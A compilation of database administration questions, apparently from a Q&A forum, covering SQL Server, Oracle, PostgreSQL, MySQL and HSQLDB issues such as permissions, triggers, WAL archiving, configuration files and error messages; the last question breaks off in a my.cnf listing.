texts: Database Role Membership: db_executor vs db_datareader and db_datawriter in SQL Server 2008R2?

texts:
I have a couple of users who have only public and db_executor memberships in their Server Login object, User Mapping properties in the one database (let's call it A), now that our front end application points to a different database (B) that is a result of merged databases from the A above, C and D regions), it seems the same users now needs to have these additional role memberships (db_datareader, db_datawriter) added on top of db_executor so they can access the same reports with no errors!

Nothing has changed except that now we can view data from 2 additional facilities and the application front end that was built in VB code, uses the same functionality, just added more reports and tabs.

Both databases are in SQL Server 2008R2.

Isn't a data executor role, grants read and write permissions too? as these users in question used to insert data all the time,  Thanks.


texts: Table1 ID is auto increment and i also want to store the information from table 2 against that auto generated ID

texts:
This table has an auto increment ID on back end.

"INSERT INTO `test`.`personal_info`
    (`username`, `email`,`password`)
VALUES ('$username','$email','$password')";

This was for signing up of one page. Following is the page code which I want to link to upper table.

"UPDATE `test`.`personal_info`
WHERE Id='10' (`Name`, `Mid_name`, `Last_name`,`d_o_b`)
VALUES ('$Name', '$Mid_name', '$Last_name','$date')";


texts: What options in /etc/mysql/my.cnf are applicable to percona-server-client-5.6?

texts:
I installed percona-server-client-5.6 on Ubuntu; there is no mysql server installed on that same machine.

In /etc/mysql/, the only file is my.cnf. That file contains many sections of options and I am not sure which sections are applicable to the machine with only the client package installed.

I assume the [client] section of course, but why to the other sections exist at all? Will changing their values affect the mysql server the client connects to?

my.cnf:

[client]
...

[mysqld_safe]
...

[mysqld]
...

[mysqldump]
...

[mysql]
...

[isamchk]
...


texts: HSQLDB get next value for IDENTITY column

texts:
I'm looking for a query to get the next IDENTITY value of a HSQL table. Like if I were to insert a new row into a table that has an auto id column, what value would that turn into.

I did some research and couldn't find anything sadly.

Example:

Suppose I have a table like this:

CREATE TABLE IF NOT EXISTS Names (
  id INTEGER IDENTITY PRIMARY KEY,
  name VARCHAR(16)
)

Now I can insert names without having to specify the id. Instead it gets added automatically and increments itself with each insert.
Now I'd like to get whatever value will be next (if I don't manually set it).

Edit:

I think I found a solution:

SELECT
  IDENTITY_START
FROM
  INFORMATION_SCHEMA.COLUMNS
WHERE
  TABLE_NAME = 'NAMES'
  AND COLUMN_NAME = 'ID'


texts: Test if a string is a valid, unquoted identifier?

texts:
I'm just wondering if there is an established method for testing if a string can be used as an unquoted PostgreSQL identifier? (unquoted because almost any string can be a quoted identifier).

I ask because as shown in a previous question (How to quote qualified table name with format() function?), there are times when I would need to specify an identifier (such as the name of a table to be created) that does not yet exist, as string values (text) instead of a safer type such as regclass. Quoting the string/name can be problematic as shown there and probably else where. Without quoting, it's susceptible to SQL injection.

I guess if one programs it hard enough, a string parsing function can be written ultimately. Just wanted to check if there are existing solutions.

Related:

What are the valid formats of a PostgreSQL schema name?

Is the function PARSENAME() the opposite of QUOTENAME() (sql-server)


texts: COPY TO statement in postgres outputting double backslashes

texts:
I would like to output a string with backslashes that is enclosed in dollar quotes to a file in postgres.  For example, with the following query:

COPY (select $$a\x5cb\x5cc$$ ) to $$c:\test.txt$$;

I would expect the contents of the file to be

a\b\c

consistent with the documentation from Postgres suggesting that these string literals should be, well, literals:

  Notice that inside the dollar-quoted string, single quotes can be used without needing to be escaped. Indeed, no characters inside a dollar-quoted string are ever escaped: the string content is always written literally. Backslashes are not special, and neither are dollar signs, unless they are part of a sequence matching the opening tag.

However, to my surprise, the contents of this file are instead

a\\b\\c

Why is this the case?  How can I output a literal string to a file without using single


texts: What steps are necessary to safely restart a machine hosting Microsoft SQL Server?

texts:
Are there any special steps necessary to prevent data corruption when restarting a server hosting an MS SQL Server instance?

For example, I recently encountered the recommendation of stopping the SQL service manually.  My understanding is that this is handled by the Windows shutdown process.

I'm sure there are a zillion steps which individual people may recommend, like that I just mentioned, but I'd like to avoid repeating obsolete or superstitious practices.  Are there any recommendations from Microsoft, or widespread industry standards?

This question relates to the short-term procedure of rebooting a machine.  There's another question regarding the long-term procedure of ensuring that a machine is unused, before taking it down permanently.


texts:
Hey I am running a select * from  query against ORACLE database. So is there a way we can avoid this kind of error.

The query is fetching a large amount of data. It can take weeks to get that amount of that.

java.sql.SQLException: ORA-01555: snapshot too old: rollback segment number 50 with name "_SYSSMU50_1322772922$" too small

at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:112)
at oracle.jdbc.driver.T4CTTIoer.processError(T4CTTIoer.java:331)
at oracle.jdbc.driver.T4CTTIoer.processError(T4CTTIoer.java:288)
at oracle.jdbc.driver.T4C8Oall.receive(T4C8Oall.java:743)
at oracle.jdbc.driver.T4CStatement.doOall8(T4CStatement.java:207)
at oracle.jdbc.driver.T4CStatement.fetch(T4CStatement.java:1018)
at oracle.jdbc.driver.OracleResultSetImpl.close_or_fetch_from_next(OracleResultSetImpl.java:291)
at oracle.jdbc.driver.OracleResultSetImpl.next(OracleResultSetImpl.java:213)


texts:
I need to write a Select query in bind-variable and this query has more than 2500 symbols.

Variable sql_txt clob;

Exec :sql_txt := 'Select .....';

But SQL Plus support only <2499 symbols.
How to fix it?


texts: Continuous archiving: is it possible to use multiple machines?

texts:
Is it possible to use the archive_command to send to multiple machines?  Is it just as simple as separating with a && since it is essentially just a command line?

command1 && command2

I assume this could have a bad effect if one command failed, for example if command1 failed then command2 wouldn't run; and if command2 failed it would return non-zero for the whole thing and Postgres would re-try to send the WAL which would mean it would re-run command1.

I am hoping there is a more official solution to the problem. My goal is to have one backup inside the data center, and one backup outside the data center.


texts:
I need to run MongoDB with SSL, the version that is currently installed is 3.4.16 without SSL.

Can I download 3.4.16 with SSL and just stop the service copy the Bin files across and then start up the service again, in it's simplistic form?


texts: MySQL Shell dump utility - maximum possible chunk size?

texts: The documentation https://dev.mysql.com/doc/mysql-shell/8.0/en/mysql-shell-utilities-dump-instance-schema.html mentions that the min chunk size is 128kB. What is the maximum possible chunk size?


texts: In Mysql 5.5, why is the upper bound of a character range not inclusive?

texts:
So I'm trying to query on a character range, i.e. all manufacturers with names starting with a or b:

SELECT manufacturer FROM warehouse WHERE manufacturer >= 'a' AND manufacturer <= 'b'

or:

SELECT manufacturer FROM warehouse WHERE manufacturer BETWEEN 'a' and 'b'

For both of these queries, I only get back manus with names starting with a. If I changed the range to a-c, I would get back all with a-b. Why is the upper bound of the range not inclusive? My main issue with this is how can I include all 'Z's in the range. A-Z would not include any z's in this case.

The manual here: http://dev.mysql.com/doc/refman/5.5/en/comparison-operators.html#operator_between
... seems pretty self explanatory. Unfortunately things are not working the way they should.

The weird part is, this works when I create a small test table. However it does not work properly on my 15 million row table.


texts: Preserve capitalization of column names/keys returned by SYS_REFCURSOR in Oracle

texts:
I am using a SYS_REFCURSOR to return JSON data to an ORDS endpoint. I need the case of the returned column names/JSON keys to be preserved for use in my node application. I have tried the following:
OPEN l_cursor for SELECT p.productid as "ProductID" from productnew p;

open l_cursor for SELECT p.productid "ProductID" from productnew p;

open l_cursor for SELECT p.ProductID as "ProductID" from productnew p;

open l_cursor for SELECT p.ProductID "ProductID" from productnew p;

These all return as productid instead of ProductID. When I change it to  as "ProductIDs"(note the s), I get productids, so it is just the capitalization of the key/columnname that is the issue.
Is this possible to change?


texts: Best way to re-import large amount of data with minimal downtime

texts:
I need to import about 500,000 records containing IP lookup (read-only reference) data about once a week (only three int/bigint cols).

I don't really want to worry about merging the data with the existing table, I'd prefer to clear down the old and reimport.

Ideally queries running over the data would continue to run (we don't get a lot of these and it is acceptable for them to run a little bit slower whilst the import occurs, but need to be up 24/7, so running this "out of hours" is not an option).

Things Tried So far

SSIS: I have created an SSIS package that truncates the table and imports - it takes about 30 seconds to run (too long really).

Temp Table: Importing into a temp table, truncating and copying across also takes about 30 seconds.

BCP: Bulk Import also is rather too slow (for some reason it's slower than SSIS (even with no indices to maintain) - I'm guessing it's something to do with the char->int/bigint transactions :/

Mirror table? So, at the moment, I'm wondering about reading the table through a view, importing the data into a mirror table, and altering the view to point to this table... this seems like it will be quick, but it seems tiny bit hacky to me.

This seems like it should be a common problem, but I can't find recommended practises - any ideas would be most appreciated!

Thanks


texts: What is the different between resource pools and workload groups in sql server?

texts: In SQL server one can use resource pools and workload groups, what is the difference between them? Why should I use one over the other?


texts: Performance hickups after Postgres 9.4 upgrade

texts:
After upgrading our database from 9.3.5 to 9.4.1 last night, the server suffers from high CPU spikes. The upgrade was done with pg_dump.  So the database was converted to SQL and then imported into 9.4.

During the CPU spikes, there are a lot of these messages in the logs:

process X still waiting for ExclusiveLock on extension of relation Y of database Z
after 1036.234 ms

And:

process X acquired ExclusiveLock on extension of relation Y of database Z
after 2788.050 ms

What looks suspicious is that there are sometimes several "acquired" messages for the exact same relation number in the exact same millisecond.

Why would Postgres grow a table twice in the same millisecond? Could it be an index with a high fill factor?

Any suggestions on how to approach this issue are welcome.

P.S. I've also asked this question on the Postgres mailing list, if that's not okay let me know.


texts: How to execute AFTER INSERT TRIGGER with an auto-incremented (seq.NEXTVAL) column value in Oracle PL/SQL?

texts:
Below is my AFTER INSERT TRIGGER in Microsoft SQL Server:

   CREATE TRIGGER new_airline
   ON Airline
   AFTER INSERT
   AS
   BEGIN
   DECLARE @Airline_Name VARCHAR(50), @Country VARCHAR(50)
   SELECT @Airline_Name=Airline_Name, @Country=Country
   FROM INSERTED
   PRINT 'New Airline has been added'
   END

   INSERT INTO Airline (Airline_Name, Country)
   VALUES ('Malaysia Airlines', 'Malaysia')

The above AFTER INSERT TRIGGER in Microsoft SQL Server works successfully. Another thing to be noted that there is also Airline_No column in the Airline table for which I didn't have to insert any values because Airline_No column has been set to AUTO-INCREMENT with INTEGER IDENTITY (1,1). Hence, the value will be auto generated everytime a new row is inserted.

Now, I want to execute this same AFTER INSERT TRIGGER logic in Oracle PL/SQL which is shown below:

CREATE OR REPLACE TRIGGER new_airline
AFTER INSERT ON Airline
FOR EACH ROW
BEGIN
INSERT INTO Airline (Airline_No, Airline_Name, Country)
VALUES (:NEW.Airline_No, :NEW.Airline_Name, :NEW.Country);
DBMS_OUTPUT.PUT_LINE('New Airline has been added');
END;

The above TRIGGER got compiled successfully but it was showing error when I was trying to insert the values which is shown below:

INSERT INTO Airline (Airline_No,Airline_Name, Country)
VALUES (airline_seq.NEXTVAL, 'Malaysia Airlines', 'Malaysia');

When I was trying to insert the values in Airline table I was getting the following error message which is shown below:

Error starting at line : 10 in command -
INSERT INTO Airline (Airline_No,Airline_Name, Country)
VALUES (airline_seq.NEXTVAL,'Malaysia Airlines', 'Malaysia')
Error report -
ORA-04091: table DEMO.AIRLINE is mutating, trigger/function may not see it
ORA-06512: at "DEMO.NEW_AIRLINE", line 2
ORA-04088: error during execution of trigger 'DEMO.NEW_AIRLINE'

Is there any logic in ORACLE PL/SQL AFTER INSERT TRIGGER that I possibly might have missed out ?


texts: The transaction log for database 'database' is full due to 'LOG_BACKUP'. Nothing works

texts:
I have about 30 databases on SQL server 2012. One of the databases is erroring with "The transaction log for database 'database' is full due to 'LOG_BACKUP'."

I have spent several hours googling and implementing the suggestions.

Here are the things I have tried:

Changed recovery to simple.
Did a shrink files on log file type: now it shows allocated is 1mb and freespace is 60%.
Ran DBCC OPENTRAN: no open transactions
Restored the database from backup
Detached then deleted the log file and attached without a log so it created a new log file.
Check disk space: 35 gigs free.

None of that worked I still get the same error. Any ideas? I am desperate!!!!

Log file growth is set to unlimited and auto growth is enabled. There are no relevant file system errors or SQL Server errors in the Event Viewer. I only have one drive on this server so I cannot move to another disk.

Results of DBCC LOGINFO():

@@VERSION:

  Microsoft SQL Server 2012 (SP1) - 11.0.3128.0 (X64)
      Dec 28 2012 20:23:12
      Copyright (c) Microsoft Corporation
      Standard Edition (64-bit) on Windows NT 6.2  (Build 9200: )  (Hypervisor)

The error occurs constantly, always the same error even after reboot.

Overnight the database came back online and all is working again! I did nothing to it, it just started working. Needless to say I am baffled and weary. I would like to keep this topic open for a while in case it happens again.

UPDATE:

The issue reocurred on the 19th, this is close to one week after it originally occurred. This time I noticed an error in the system events around the time it went offline:

sqlservr (1376) An attempt to open the file "C:\Windows\system32\LogFiles\Sum\Api.log" for read only access failed with system error 5 (0x00000005): "Access is denied. ".  The open file operation will fail with error -1032 (0xfffffbf8).


texts: Move Primary Key to Filegroup (SQL Server 2012)

texts:
How can I move a clustered primary key to a new filegroup? I already have found a possible "algorithm" but it is horribly inefficient:

Drop non-clustered indexed (requires them to be resorted and rebuilt)
Drop clustered index (requires the whole table to be resorted)
Create new primary key constraint (huge sort operation)
Create all non-clustered indexes (sorting and writing required)

Is there a more efficient way? This is horribly inefficient and will take a long time as the table is 50GB in size on a weak server.

Isn't there a way to skip all of these and just do a rebuild on a new filegroup? That would not require any sorting of data.


texts: Msg 15064, 15275, and 15235 when running sp_spaceused

texts:
I have a database on SQL Server 2000 (no, I can't upgrade right now) where I'm trying to run sp_spaceused on each table.

I'm getting the messages below. Any given table may have any, all, or none of the messages.

Server: Msg 15064, Level 11, State 1, Procedure sp_spaceused, Line 96
PRIMARY KEY and UNIQUE KEY constraints do not have space allocated.

Server: Msg 15275, Level 16, State 1, Procedure sp_spaceused, Line 101
FOREIGN KEY constraints do not have space allocated.

Server: Msg 15235, Level 16, State 1, Procedure sp_spaceused, Line 91
Views do not have space allocated.

I've Google'd and Bing'd high and low, but have not found any info of use.

FWIW, I can run sp_spaceused without these messages against tables in another database on the same server.

Has any one else ever seen this?

UPDATE

I did run DBCC CHECKDB and it did not find any problems.

The table sizes are returned by sp_spaceused even when the messages appear.

After reading http://msdn.microsoft.com/en-us/library/aa224774(v=sql.80).aspx, I'm inclined to believe these are just notification messages, not error messages.

I was concerned because I had never seen these particular messages before and I've had some other problems with this database recently. Everything seems to be working ok, so I will just keep an eye on it for now.


texts: postgres standby - what not WAL records can be replayed?

texts:
https://www.postgresql.org/docs/current/static/standby-settings.html

  The delay occurs only on WAL records for transaction commits. Other
  records are replayed as quickly as possible, which is not a problem
  because MVCC visibility rules ensure their effects are not visible
  until the corresponding commit record is applied.

I thought while streaming replication xlog is replayed on slave. Local transactions are not replayed. Remote statements that skip WAL (Eg create table nologging) are not replayed on slave. Now I'm confused - what are those other records that are replayed not waiting for recovery_min_apply_delay?..


texts:
Recently we did a change on a client's production server. The change was to rename an sa login. Once we renamed the sa login we found out the client was having a problem because sa login was used in the connection string for a few applications which the client didn't mentioned to us. We were able to roll back the rename.

In the future, is there any way or query which we can execute so that we can know if sa login is currently used by any application or user before we renamed it or delete the login? Basically we want to check if any login is actively used by anyone before renaming or deleting it.


texts: How can you monitor if MySQL binlog files get corrupted?

texts: I was wondering if there was any nice way to continuously monitor mysql master binlog files and detect if get corrupted.


texts: I was playing around with sp_BlitzWho and got blocked by another session. The session was from the DB were sp_BlitzWho is... I was planning to automate it and save the results to a table, so I could analyze the accumulated wait stats for different sessions (I have heard it does that in contrast to sp_WhoIsActive), but now it seems not to be such a good idea... Maybe it is better to just use sys.dm_exec_session_wait_stats or sp_WhoIsActive...?


texts: MariaDB 10.2 - SQL Dump of specific columns

texts: I am aware of the --where condition while taking dump of table where we can give condition on rows. But I have a table of the size 15GB and have over 100 columns.I need a dump of few columns out of it, and I want to do this as scheduled job where I will take dump of few columns of the source DB and store it to another server for reporting purpose.I also tried INTO OUTFILE but It won't save output as .sql and as INSERT statement.


texts:
I'm trying to find % of unique pairs that exist in two columns. For example

Where 1,6 and 6,1 / 2,3 and 3,2 are unique pairs. So the % of matched pairs is 33%


texts: Cannot Attach Database to SQL Server Management Studio 2008 R2

texts:
I installed SQL Server 2008 R2 just now and wanted to attach my previous databases. Attaching a Database gives an error.

  Attached is the image of the error.

Any Suggestions and help will be appreciated. :)
Regards.


texts:
I am using Microsoft SQL Server 2014 Enterprise Edition. A problem occurs with the linked servers where it is necessary to restart the server, or to stop the MSSQLSERVER service. When the server is running again, the linked servers (to DB2) don't work properly and the SQL Server shows this error:

  Msg 7302, Level 16, State 1, Line 10
  Cannot create an instance of OLE DB provider "DB2OLEDB" for linked server "Airspe".

Only after restarting the server several times does the linked server start working.

Why is necessary to restart the server several times to get up linked servers?
Are there other solutions?

This is the script to create one of the linked servers:

EXEC master.dbo.sp_addlinkedserver
@server = N'AIRS',
@srvproduct=N'Microsoft OLE DB Provider for DB2',
@provider=N'DB2OLEDB',
@datasrc=N'###.###.###.##',@provstr=N'Provider=DB2OLEDB;
    Data Source=#####;Persist Security Info=True;Password=**********;
    User ID=######;Initial Catalog=######;
    Network Address=###.###.###;Package Collection=AICOLDP;DBMS Platform=DB2/AS400',
@catalog=N'#####'

EXEC master.dbo.sp_addlinkedsrvlogin @rmtsrvname=N'AIRS',@useself=N'False',@locallogin=NULL,@rmtuser=N'#####',@rmtpassword='########'
EXEC master.dbo.sp_serveroption @server=N'AIRS', @optname=N'collation compatible', @optvalue=N'false'
EXEC master.dbo.sp_serveroption @server=N'AIRS', @optname=N'data access', @optvalue=N'true'
EXEC master.dbo.sp_serveroption @server=N'AIRS', @optname=N'dist', @optvalue=N'false'
EXEC master.dbo.sp_serveroption @server=N'AIRS', @optname=N'pub', @optvalue=N'false'
EXEC master.dbo.sp_serveroption @server=N'AIRS', @optname=N'rpc', @optvalue=N'false'
EXEC master.dbo.sp_serveroption @server=N'AIRS', @optname=N'rpc out', @optvalue=N'true'
EXEC master.dbo.sp_serveroption @server=N'AIRS', @optname=N'sub', @optvalue=N'false'
EXEC master.dbo.sp_serveroption @server=N'AIRS', @optname=N'connect timeout', @optvalue=N'0'
EXEC master.dbo.sp_serveroption @server=N'AIRS', @optname=N'collation name', @optvalue=null
EXEC master.dbo.sp_serveroption @server=N'AIRS', @optname=N'lazy schema validation', @optvalue=N'false'
EXEC master.dbo.sp_serveroption @server=N'AIRS', @optname=N'query timeout', @optvalue=N'0'
EXEC master.dbo.sp_serveroption @server=N'AIRS', @optname=N'use remote collation', @optvalue=N'true'
EXEC master.dbo.sp_serveroption @server=N'AIRS', @optname=N'remote proc transaction promotion', @optvalue=N'true'

This is the provider configuration:


texts:
I am running PostgreSQL on my localhost on MacOS.  Every once in a while (~ every 5 times I reboot the computer), I face the following error when I try to connect to my local database instance:
could not connect to server: Connection refused
    Is the server running on host "localhost" (::1) and accepting
    TCP/IP connections on port 5432?
could not connect to server: Connection refused
    Is the server running on host "localhost" (127.0.0.1) and accepting
    TCP/IP connections on port 5432?

When this happens, I have gotten used to the practice of opening the terminal, then running
 rm -f /usr/local/var/postgres/postmaster.pid

which allows me to connect to the database.  According to the documentation, having an old .PID file in the data directory "confuses" postgres and so it must be removed.
My question is, why must be this done intermittently and can one automate the removal of old .pid files ?   Please note that brew services restart postgres does not resolve the issue - only the removal of the old .pid file works.   Any advice here would be greatly appreciated!


texts: What mechanisms do you use to notify third parties of future schema changes?

texts:
How do you notify third parties of future SQL Server schema changes other than through external documentation?

I've started implementing a deprecation warning extended property on objects that will be going away in the future but wanted to see if anyone had success through another approach.


texts: How to select the members who has the age more than 18 (from current date) by SQL in teradata?

texts:
If we are having a table named 'MEMBERS' with below details,
then how to fetch the data from the table with the age 18 or more?
S.no  Name     DOB        City
1     sam     19890203   USA
2     andrew  20020304   UK
3     karun   20050827   sydney
4     virat   19870202   India
5     mrunal  19920802   India

Could anyone please help me on this?


texts:
T-SQL newbie here. I am sure you guys can help me with a little problem I'm having.

Here's my situation:

I want to do a select from a certain table. And with that select I want to display the count of a referenced entry in another table.

So here's my script:

/****** Skript für SelectTopNRows-Befehl aus SSMS ******/
SELECT [ID]
  ,[ExpenseNumber]
  ,[Mandator]
  -- some more rows here

  -- Memo
  ,(SELECT COUNT(*)
    FROM [Foobar].[dbo].[MemoUnion]
    WHERE ([Mandator] = 096)
    AND ([ReferenceType] = 4001)
    AND ([Reference] COLLATE SQL_Latin1_General_CP1_CI_AS = [ID])) AS [MemoCount]
    FROM [Foobar].[dbo].[Expense]
    WHERE Mandator = 096 AND ExpenseNumber = 1;

So here's my problem, the column [MemoCount] shows 0, although I am 100% sure that there is an actual entry in dbo.MemoUnion where Reference = ID is actually true.

My suspicion is that it's not working because [Reference] is nvarchar and [ID] is an int.

So I fiddled around with CONVERT() and CAST(). But the result stays 0 none the less.

I did not get any error messages while using CONVERT and/or CAST. Just always a result of 0.

Any tips?

Thanks in advance


texts: Searching from the latest date in SQL Server

texts:
In the following scenario, the two run dates start from 2015-01-30 to 2014-11-28 as per the database records since I am searching for last 3 months record and then trying to get the difference between x month - latest data point value which is 6 for id = 2 .

But I want to modify my query such that it starts from 1 month back from today at takes the first date of that month (e.g. 1 feb 2015 :1st date of every month) even though the first data point in the database records starts from 2015-01-30 in which the difference should be 8 - 0 = 8 rather than 6 .

How can I tweak my query to do this?

CREATE TABLE #t (ID INT, V FLOAT, D DATE)

INSERT  INTO #t
VALUES  (1, 1.2, '2014-01-01'),
        (1, 1.33, '2014-01-02'),
        (1, 1.33, '2014-01-03'),
        (2, 7, '2014-10-31'),
        (2, 5, '2014-11-28'),
        (2, 8, '2014-12-31'),
        (2, 11, '2015-01-30');

DECLARE @DealClauseString NVARCHAR(MAX)
SET @DealClauseString = ';WITH    filter
          AS ( SELECT   ID ,
                        D ,
                        V ,
                        ROW_NUMBER() OVER ( PARTITION BY ID ORDER BY D DESC ) AS RN
               FROM     #t
             ),
        cte
          AS ( SELECT   ID ,
                        D ,
                        V ,
                        MIN(D) OVER ( PARTITION BY ID ORDER BY D ROWS
                                      BETWEEN UNBOUNDED PRECEDING
                                      AND UNBOUNDED FOLLOWING ) AS Min ,
                        MAX(D) OVER ( PARTITION BY ID ORDER BY D ROWS
                                      BETWEEN UNBOUNDED PRECEDING AND
                                      UNBOUNDED FOLLOWING ) AS Max
               FROM     filter
              WHERE    RN <= 2
             )
    SELECT  c1.ID ,
            c2.V - c1.V AS V
    FROM    cte c1
            JOIN cte c2 ON c1.ID = c2.ID AND c1.D < c2.D
    WHERE   ( c1.D = c1.MIN OR c1.D = c1.MAX )
            AND ( c2.D = c2.MIN OR c2.D = c2.MAX ) and c2.V - c1.V between 0.3 and 6 '
EXEC (@DealClauseString)
    drop table      #t

Any help would be really helpful. Pleasse let me know if you have any questions.


texts: How to best store a directory tree in a database?

texts:
I want to represent my directory structure in some format (currently I'm just using JSON.)

This is how a sample JSON might look. For those curious it was generated using unix tree command: tree /path/to/folder -J --noreport -h.

{
    ...
    "type":"directory",
    "name":"dev",
    "size":4096,
    "contents":[
        {"type":"directory","name":"protocols","size":4096, "contents":[]},
        {"type":"file","name":"architecture.txt","size":4716},
        {"type":"file","name":"exceptions.py","size":31263},
        {"type":"file","name":"models.js","size":101882},
        {"type":"file","name":"proxy.cpp","size":29097},
        {"type":"file","name":"keylogfile.xyz","size":7889},
        {"type":"file","name":"Readme.txt","size":8857},
    ]
    ...
}

So this is just a representation of the entire folder structure of some path as JSON.

I can have many such separate JSON files, each representing a directory tree. There's no co-relation / links between these files.

On running the tree command on standard Windows "C:\" partition, I get a JSON file of ~30 MB in size. So I think we can assume that the max file size that a user would upload will be ~100 MB.

Once the files are stored, these are the operations I plan to make on a file:

Get the entire file.
Given a path, get it's immediate children (akin to doing ls on that path.)
Given a path, get the complete sub tree of the path.
Modify metadata of some item, say change its name or add a new note with it.

2 & 3 are the operations that I expect to happen the most.

Here are the ways of storing this data that I've come up with:

NO DB:

Store the file as-is on disk (/home/forest/<uuid>.json)
Operation no 1 becomes fast & easy - just send the entire file
but the others can get slow because they all involve parsing the entire JSON first and then iterating on it.

NO SQL

I've never used NO SQL databases before (only read a few posts about their use-cases etc.)
I think op 1 (entire file read) would be fast
but no idea if there will be any improvement on the other ops as compared to just using files.

RDBMS

I've used relational DBs before but don't think my data has anything to do with tables
I did google around though and found that postgres has an ltree type to store hierarchical data, but I'm not sure If that is what I need.

If it is, HOW will I get the data in?

Graph Databases?

Again, no prior experience with these, just shooting in the dark
At the end of the day, a directory is just a tree
Instead of creating a vanilla JSON, maybe I could generate a format that one of the Graph DBs can read-in
Once I have some graph DB object, maybe all the operations become fast enough.

My question is this: For my use case, what is the best way to store the data?

Replies to comments.

  Why do you think you need a database for this?

  Depending upon what you are trying to do you might not need to store the data in a db at all.

To be really honest, I don't know if I need databases, I know I want this data stored in a format that allows me to perform the above defined operations reasonably fast.

  What are you trying to achieve by putting this into a db? Reporting? Analysis? Will it be used by an application?

I'm doing this for a web application. Once the data is stored in a way I'm satisfied with, I plan to create a Web API (probably JSON based) that performs the operations I've listed above. The data will be sent to the client where it will get displayed on the frontend in some way.

  Do you want 1 row per file? What other meta data do you want to store? Size? date? File owner?

Yeah, I want the metadata that's usually associated with files.

A friend asked this, so I'm clearing it up here: I don't just have 1 JSON file (representing a tree). I could have n number of such trees (they are basically uploaded by the user and I expect them to be <100 MB in size.)


texts: How do I execute a PL/SQL package from my database SQL> prompt?

texts:
Sorry to ask such a basic question, but I am yet to do my Oracle course at work and I am already required to do some run PL/SQL processes.
I have installed a 'package' using SQL Developer, see it below (C_FIX_STUCK_COS).

But now I need to execute it from the SQL> prompt using SQLPlus (and finally from a Bash script).
So having added a 'stored procedure' previously and got that to run with the execute command I tried that again with my package.

execute C_FIX_STUCK_COS

But it fails with the following error:

BEGIN C_FIX_STUCK_COS; END;

  *
ERROR at line 1:
ORA-06550: line 1, column 7:
PLS-00221: 'C_FIX_STUCK_COS' is not a procedure or is undefined
ORA-06550: line 1, column 7:
PL/SQL: Statement ignored

I guess that I am not using the correct method of execution, but haven't managed to find anything online yet that will help me.

The called procedure 'inside' doesn't have any parameters:

PROCEDURE FIX_STUCK_COS
-- Main procedure, called from external source
IS
  TYPE GEN_CURSOR       IS REF CURSOR;
  v_CO_CUR              GEN_CURSOR;

Please can someone just explain quickly (if that is possible) how a package differs from a 'stored procedure'?
But more importantly, can someone please tell me how I can execute the 'package'?
Thanks very much.


texts: When doing an update on a set of records, how do i get previous updates to show on current row to update in UDF

texts:
SO i have a rowset of 10 UIDs. They are all dupes, lets say DUPEUID. I have a UDF that will take the UID, check it against the table to see if there is a dupe, and update the UID to DUPEUID01.

The problem i'm having is that my update statement updates a rowset. The first row gets updated, but when the 2nd row is evaluated  the previous updated row is not found during the SELECT. I suspect i am running into an isolation issue.

I have tried REPEATABE, SERIALIZABLE, to no avail.

is there no way to do this in a rowset operation? DO i have to create a cursor and loop through all the dupes?

Here's a rough example:

there are 3 rows

UID
-------
UIDDUPE
UIDDUPE
UIDDUPE

all 3 rows same value.

UDF that goes and does this:
select * from uid table looking for dupes.

and an update that calls the UDF

update table
set UID = dbo.UIDFIX(UID)

when the update runs , it updates the first row to UIDDUPE01, when it gets to the 2nd row, it does a select,and does NOT find the previously updated row. so it creates ANOTHER UIDDUPE01.

The logic for updating these UIDS are much MORE complicated than the simple way i've shown it here. The accepted answer will stick to my question, and not say well you shouldnt' use..... This is the real world. sometimes we have horrible situations.

The question has to do with UDF's and set based consistency?


texts: LOB Segment is listed in DBA_SEGMENTS, but has not corresponding row in DBA_LOBS

texts:
I am trying to find the column (or table) that belongs to a rather big LOB segment:

select segment_name, segment_type, bytes
from dba_segments
where segment_name = 'SYS_LOB0000103936C00014$$';

returns:

SEGMENT_NAME              | SEGMENT_TYPE | BYTES
--------------------------+--------------+-------------
SYS_LOB0000103936C00014$$ | LOBSEGMENT   | 422877069312

However when I try to find the corresponding table:

select table_name, column_name, segment_name, tablespace_name, index_name
from dba_lobs
where segment_name = 'SYS_LOB0000103936C00014$$';

No rows are returned.

Is there any other place where the information about that LOB segment is stored?

This is an Oracle 11.2.0.4 (RAC) running RHEL 6.8


texts: how to find the database context of the last sql statement?

texts:
I would like to find out from the code below,
what was the name of the database where the last command was run.

In this case I am looking for my_other_database.

his there any way of finding this?
Is there any DMV that I should be looking at for this info?

Also, what if the update was wrapped in a dynamic sql, would it be possible to track it then?

use my_database
go

begin tran t1

UPDATE my_other_database.REF.applicationReference
SET uploadPaperReferences = 0
WHERE REFERENCEID IN (
69361,
69690,
69354,
69358,
69362,
69732,
69863,
70187
)

commit tran t1

what am I trying to accomplish?
something like on the example below
at the end I print out the name of the server and the name of the database that I am on:

but on the example below, although I was technically inside database cola, the statement was apcore.upl.applicationDocument, apcore is another database.

is there a way to print out apcore, instead of cola?

SET NOCOUNT OFF
SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED

BEGIN TRAN T1

PRINT ''
PRINT 'AFTER BEGIN TRAN'
PRINT ''
PRINT '@@TRANCOUNT: '  + CAST(@@TRANCOUNT AS VARCHAR)
PRINT '@@SERVERNAME: ' + CAST(@@SERVERNAME AS VARCHAR) + CHAR(10) + 'Databasename: ' + DB_NAME()
PRINT ''

DECLARE @row INT

USE COLA
SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED

            update t
            set documentstateid = 5
             from apcore.upl.applicationDocument t
            where applicationid in (
                                    319761
                                    ,320455
                                    ,333433
                                    ,351642
                                    ,371539
                                    ,372508
                                    )

             and documentStateId not in (1,5)

SELECT @row = @@ROWCOUNT

PRINT ''
PRINT 'AFTER RUNNING THE UPDATE(s)'
PRINT ''
PRINT 'The number of rows updated:' + SPACE(1) + CAST(@row as varchar)
PRINT '@@TRANCOUNT: '  + CAST(@@TRANCOUNT AS VARCHAR)
PRINT 'Server Name is:' + space(1) +  @@SERVERNAME + CHAR(10) + 'Databasename: ' + DB_NAME()

COMMIT TRAN T1

PRINT ''
PRINT 'AFTER COMMIT'
PRINT ''
PRINT '@@TRANCOUNT: '  + CAST(@@TRANCOUNT AS VARCHAR)
PRINT 'Server Name is:' + space(1) +  @@SERVERNAME + CHAR(10) + 'Databasename: ' + DB_NAME()


texts:
Hello I have a server in kimsufi 2gb RAM and 500gb storage but the query with php mysql is very slowly

I have change innodb buffer pool size to 500M but i have error too many connections, i add max connection to 500

Why my server is slowly and have many connection (with buffer 500M, if i have buffer 2M i dont have error too many connection) ?

Thanks for your help

My.cnf :

[client]
port            = 3306
socket          = /var/run/mysqld/mysqld.sock

[mysqld_safe]
